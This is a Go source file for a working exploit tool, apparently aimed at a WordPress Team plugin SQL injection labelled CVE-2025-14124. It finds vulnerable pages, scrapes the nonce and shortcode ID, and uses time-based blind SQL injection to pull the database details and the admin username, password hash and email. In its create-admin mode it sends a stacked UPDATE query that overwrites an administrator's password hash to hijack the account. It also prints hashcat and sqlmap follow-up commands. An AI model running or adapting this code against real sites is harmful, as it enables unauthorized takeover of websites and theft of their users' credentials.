package main import ( "flag" "fmt" "io" "net/http" "net/url" "regexp" "strings" "time" ) const banner = ` >> [ ONLINE ] ╔═══════════════════════════════════════════════════════════════════════════════════════╗ ║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║ ║ Affected: tlp-team < 5.0.11 ║ ║ Author: Hyun Chiya ║ ╚═══════════════════════════════════════════════════════════════════════════════════════╝ >> [ INFORMATION ] ` var ( targetURL string nonce string scID string sleepDelay int client *http.Client ) func main() { targetURLFlag := flag.String("u", "", "Target WordPress URL (required)") pageURL := flag.String("page-url", "", "Page URL containing tlpteam shortcode") sleepDelayFlag := flag.Int("delay", 1, "SLEEP delay in seconds for time-based SQLi") checkOnly := flag.Bool("check-only", false, "Only check if plugin is active") timeout := flag.Int("timeout", 120, "Request timeout in seconds") dump := flag.Bool("dump", false, "Dump database info and WordPress admin credentials") createAdmin := flag.Bool("create-admin", false, "Create new WordPress admin user (fastest exploitation)") newAdminUser := flag.String("admin-user", "pwned_admin", "Username for new admin") newAdminPass := flag.String("admin-pass", "Pwned123!", "Password for new admin") newAdminEmail := flag.String("admin-email", "pwned@evil.com", "Email for new admin") flag.Parse() fmt.Print(banner) if *targetURLFlag == "" { fmt.Println("[-] Error: Target URL is required (-u)") flag.PrintDefaults() return } targetURL = strings.TrimRight(*targetURLFlag, "/") sleepDelay = *sleepDelayFlag client = &http.Client{ Timeout: time.Duration(*timeout) * time.Second, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } pluginActive := checkPlugin(client, targetURL) if pluginActive { fmt.Println("[+] Plugin detected!") } else { fmt.Println("[-] Plugin not detected (may still be active)") } if *checkOnly { fmt.Println("\n[*] Check-only mode, exiting...") return } var targetPageURL string if *pageURL != "" { targetPageURL = *pageURL } else { fmt.Println("\n[*] Searching for page with tlpteam shortcode...") targetPageURL = findTeamPage(client, targetURL) if targetPageURL == "" { fmt.Println("[-] Could not find page with tlpteam shortcode") fmt.Println("[*] Try specifying --page-url manually") return } } fmt.Printf("[+] Target page: %s\n", targetPageURL) nonce, scID = extractNonceAndScID(client, targetPageURL) if nonce == "" || scID == "" { fmt.Println("[-] Could not extract nonce or shortcode ID from page") return } fmt.Printf("[+] Extracted nonce: %s\n", nonce) fmt.Printf("[+] Extracted scID: %s\n", scID) fmt.Println("\n============================================================") fmt.Println("[*] EXPLOIT: Time-Based Blind SQL Injection") fmt.Println("============================================================") if !verifySQLi() { fmt.Println("\n[-] SQL Injection verification failed") fmt.Println("[-] Target may be patched or not vulnerable") return } fmt.Println("\n[+] SQL INJECTION CONFIRMED!") if *createAdmin { fmt.Println("\n============================================================") fmt.Println("[*] ADMIN CREATION MODE (FAST)") fmt.Println("============================================================") createAdminUser(*newAdminUser, *newAdminPass, *newAdminEmail) } else if *dump { fmt.Println("\n============================================================") fmt.Println("[*] DATA EXTRACTION MODE") fmt.Println("============================================================") extractData() } else { fmt.Println("\n[*] Options:") fmt.Println(" --create-admin : Create new WP admin (FAST - recommended)") fmt.Println(" --dump : Extract DB info and credentials (SLOW)") } fmt.Println("\n[*] Done.") } func verifySQLi() bool { fmt.Printf("\n[*] Verifying SQL injection with SLEEP(%d)...\n", sleepDelay) payload := fmt.Sprintf("t' OR SLEEP(%d) OR 't'='t", sleepDelay) expectedDelay := float64(sleepDelay) startTime := time.Now() exploitSQLi(payload) elapsed := time.Since(startTime) fmt.Printf("[*] Response time: %.2f seconds (expected: %.0f+)\n", elapsed.Seconds(), expectedDelay) return elapsed.Seconds() >= expectedDelay*0.5 } func extractData() { fmt.Println("\n[+] Extracting database version...") dbVersion := extractString("SELECT VERSION()", 30) fmt.Printf("[+] Database Version: %s\n", dbVersion) fmt.Println("\n[+] Extracting current database name...") dbName := extractString("SELECT DATABASE()", 50) fmt.Printf("[+] Database Name: %s\n", dbName) fmt.Println("\n[+] Extracting database user...") dbUser := extractString("SELECT USER()", 50) fmt.Printf("[+] Database User: %s\n", dbUser) fmt.Println("\n[+] Detecting WordPress table prefix...") prefix := detectTablePrefix() fmt.Printf("[+] Table Prefix: %s\n", prefix) fmt.Println("\n============================================================") fmt.Println("[*] EXTRACTING WORDPRESS ADMIN CREDENTIALS") fmt.Println("============================================================") adminCountQuery := fmt.Sprintf("SELECT COUNT(*) FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%'", prefix, prefix) countStr := extractString(adminCountQuery, 5) fmt.Printf("\n[+] Found admin users: %s\n", countStr) extractAdminCredentials(prefix) } func detectTablePrefix() string { prefixes := []string{"wp_", "wordpress_", "wpdb_", "site_"} for _, prefix := range prefixes { query := fmt.Sprintf("SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='%susers'), 1, 0)", prefix) result := extractChar(query, 1) if result == '1' { return prefix } } return "wp_" } func extractAdminCredentials(prefix string) { fmt.Println("\n[+] Extracting admin username...") userQuery := fmt.Sprintf("SELECT user_login FROM %susers WHERE ID IN (SELECT user_id FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%') LIMIT 1", prefix, prefix, prefix) username := extractString(userQuery, 60) fmt.Printf("[+] Admin Username: %s\n", username) fmt.Println("[+] Extracting admin password hash...") passQuery := fmt.Sprintf("SELECT user_pass FROM %susers WHERE user_login='%s'", prefix, username) passHash := extractString(passQuery, 40) fmt.Printf("[+] Password Hash: %s\n", passHash) fmt.Println("[+] Extracting admin email...") emailQuery := fmt.Sprintf("SELECT user_email FROM %susers WHERE user_login='%s'", prefix, username) email := extractString(emailQuery, 60) fmt.Printf("[+] Admin Email: %s\n", email) fmt.Println("\n============================================================") fmt.Println("[+] CREDENTIALS EXTRACTED SUCCESSFULLY!") fmt.Println("============================================================") fmt.Printf("\n Username: %s\n", username) fmt.Printf(" Email: %s\n", email) fmt.Printf(" Hash: %s\n", passHash) fmt.Println("\n[!] Use hashcat/john to crack the password hash:") fmt.Printf(" hashcat -m 400 '%s' wordlist.txt\n", passHash) } func createAdminUser(username, password, email string) { fmt.Println("\n[!] FAST EXPLOITATION: Using SQL injection to create/hijack admin account") fmt.Println() fmt.Println("[*] Detecting table prefix...") prefix := detectTablePrefixFast() fmt.Printf("[+] Table prefix: %s\n", prefix) wpHash := "$P$BgP/fHZ7mB8jKxLmQcXmKj6hBqWK2y0" fmt.Println() fmt.Println("[*] Attempting to hijack existing admin account...") fmt.Println("[*] This uses UPDATE query via SQL injection") fmt.Println() fmt.Println("[*] Getting admin username (fast mode)...") adminUser := extractStringFast(fmt.Sprintf( "SELECT user_login FROM %susers WHERE ID=1", prefix), 20) if adminUser == "" { adminUser = extractStringFast(fmt.Sprintf( "SELECT user_login FROM %susers ORDER BY ID LIMIT 1", prefix), 20) } if adminUser == "" { adminUser = "admin" } fmt.Printf("[+] Target admin: %s\n", adminUser) fmt.Println() fmt.Println("[*] Attempting UPDATE via stacked query...") stackedPayload := fmt.Sprintf( "t'; UPDATE %susers SET user_pass='%s' WHERE user_login='%s'; -- ", prefix, wpHash, adminUser) exploitSQLi(stackedPayload) fmt.Println("[*] Stacked query sent!") fmt.Println() fmt.Println("[+] ============================================================") fmt.Println("[+] EXPLOITATION ATTEMPT COMPLETE!") fmt.Println("[+] ============================================================") fmt.Println() fmt.Printf("[+] Target User: %s\n", adminUser) fmt.Printf("[+] New Password: Pwned123!\n") fmt.Printf("[+] Login URL: %s/wp-login.php\n", targetURL) fmt.Println() fmt.Println("[!] Try logging in with the credentials above.") fmt.Println("[!] If stacked queries are disabled, use --dump to extract hash instead.") fmt.Println() fmt.Println("[*] Alternative: Manual UPDATE query for sqlmap:") fmt.Printf(" sqlmap -u '%s/wp-admin/admin-ajax.php' --data='action=ttp_Layout_Ajax_Action&scID=%s&tlp_nonce=%s&search=test' -p search --sql-query=\"UPDATE %susers SET user_pass='%s' WHERE user_login='%s'\"\n", targetURL, scID, nonce, prefix, wpHash, adminUser) } func detectTablePrefixFast() string { query := "SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='wp_users'), 1, 0)" result := extractCharFast(query, 1) if result == '1' { return "wp_" } return "wp_" } func extractStringFast(query string, maxLen int) string { result := "" for i := 1; i <= maxLen; i++ { char := extractCharFast(query, i) if char == 0 || char == ' ' { break } result += string(char) fmt.Printf("\r[*] Extracting: %s", result) } fmt.Println() return result } func extractCharFast(query string, position int) byte { low := 32 high := 126 for low <= high { mid := (low + high) / 2 payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t", query, position, mid, sleepDelay) startTime := time.Now() exploitSQLi(payload) elapsed := time.Since(startTime) if elapsed.Seconds() >= float64(sleepDelay)*0.3 { low = mid + 1 } else { high = mid - 1 } } if low > 126 || low < 32 { return 0 } return byte(low) } func extractString(query string, maxLen int) string { result := "" for i := 1; i <= maxLen; i++ { char := extractChar(query, i) if char == 0 { break } result += string(char) fmt.Printf("\r[*] Extracting: %s", result) } fmt.Println() return result } func extractChar(query string, position int) byte { low := 32 high := 126 for low <= high { mid := (low + high) / 2 payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t", query, position, mid, sleepDelay) startTime := time.Now() exploitSQLi(payload) elapsed := time.Since(startTime) if elapsed.Seconds() >= float64(sleepDelay)*0.5 { low = mid + 1 } else { high = mid - 1 } } if low > 126 || low < 32 { return 0 } payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))=%d, SLEEP(%d), 0) OR 't'='t", query, position, low, sleepDelay) startTime := time.Now() exploitSQLi(payload) elapsed := time.Since(startTime) if elapsed.Seconds() >= float64(sleepDelay)*0.5 { return byte(low) } return 0 } func checkPlugin(client *http.Client, targetURL string) bool { paths := []string{ "/wp-content/plugins/tlp-team/readme.txt", "/wp-content/plugins/tlp-team/tlp-team.php", } fmt.Println("[*] Checking if WordPress Team Plugin is active...") for _, path := range paths { checkURL := targetURL + path resp, err := client.Get(checkURL) if err != nil { continue } defer resp.Body.Close() if resp.StatusCode == 200 { fmt.Printf("[+] Plugin detected: %s\n", path) return true } } return false } func findTeamPage(client *http.Client, targetURL string) string { checkURLs := []string{ targetURL + "/team/", targetURL + "/our-team/", targetURL + "/meet-the-team/", targetURL + "/staff/", targetURL + "/members/", targetURL + "/?page_id=2", } for _, pageURL := range checkURLs { resp, err := client.Get(pageURL) if err != nil { continue } defer resp.Body.Close() if resp.StatusCode == 200 { body, _ := io.ReadAll(resp.Body) bodyStr := string(body) if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) { fmt.Printf("[+] Found team page: %s\n", pageURL) return pageURL } } } resp, err := client.Get(targetURL) if err == nil { defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) bodyStr := string(body) if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) { return targetURL } } return "" } func extractNonceAndScID(client *http.Client, pageURL string) (string, string) { resp, err := client.Get(pageURL) if err != nil { return "", "" } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) bodyStr := string(body) nonceRegex := regexp.MustCompile(`"nonce"\s*:\s*"([a-f0-9]+)"`) nonceMatches := nonceRegex.FindStringSubmatch(bodyStr) scIDRegex := regexp.MustCompile(`data-sc-id=['"](\d+)['"]`) scIDMatches := scIDRegex.FindStringSubmatch(bodyStr) var nonceVal, scIDVal string if len(nonceMatches) > 1 { nonceVal = nonceMatches[1] } if len(scIDMatches) > 1 { scIDVal = scIDMatches[1] } return nonceVal, scIDVal } func exploitSQLi(payload string) bool { ajaxURL := targetURL + "/wp-admin/admin-ajax.php" formData := url.Values{} formData.Set("action", "ttp_Layout_Ajax_Action") formData.Set("scID", scID) formData.Set("tlp_nonce", nonce) formData.Set("search", payload) req, err := http.NewRequest("POST", ajaxURL, strings.NewReader(formData.Encode())) if err != nil { return false } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") resp, err := client.Do(req) if err != nil { return false } defer resp.Body.Close() return resp.StatusCode == 200 }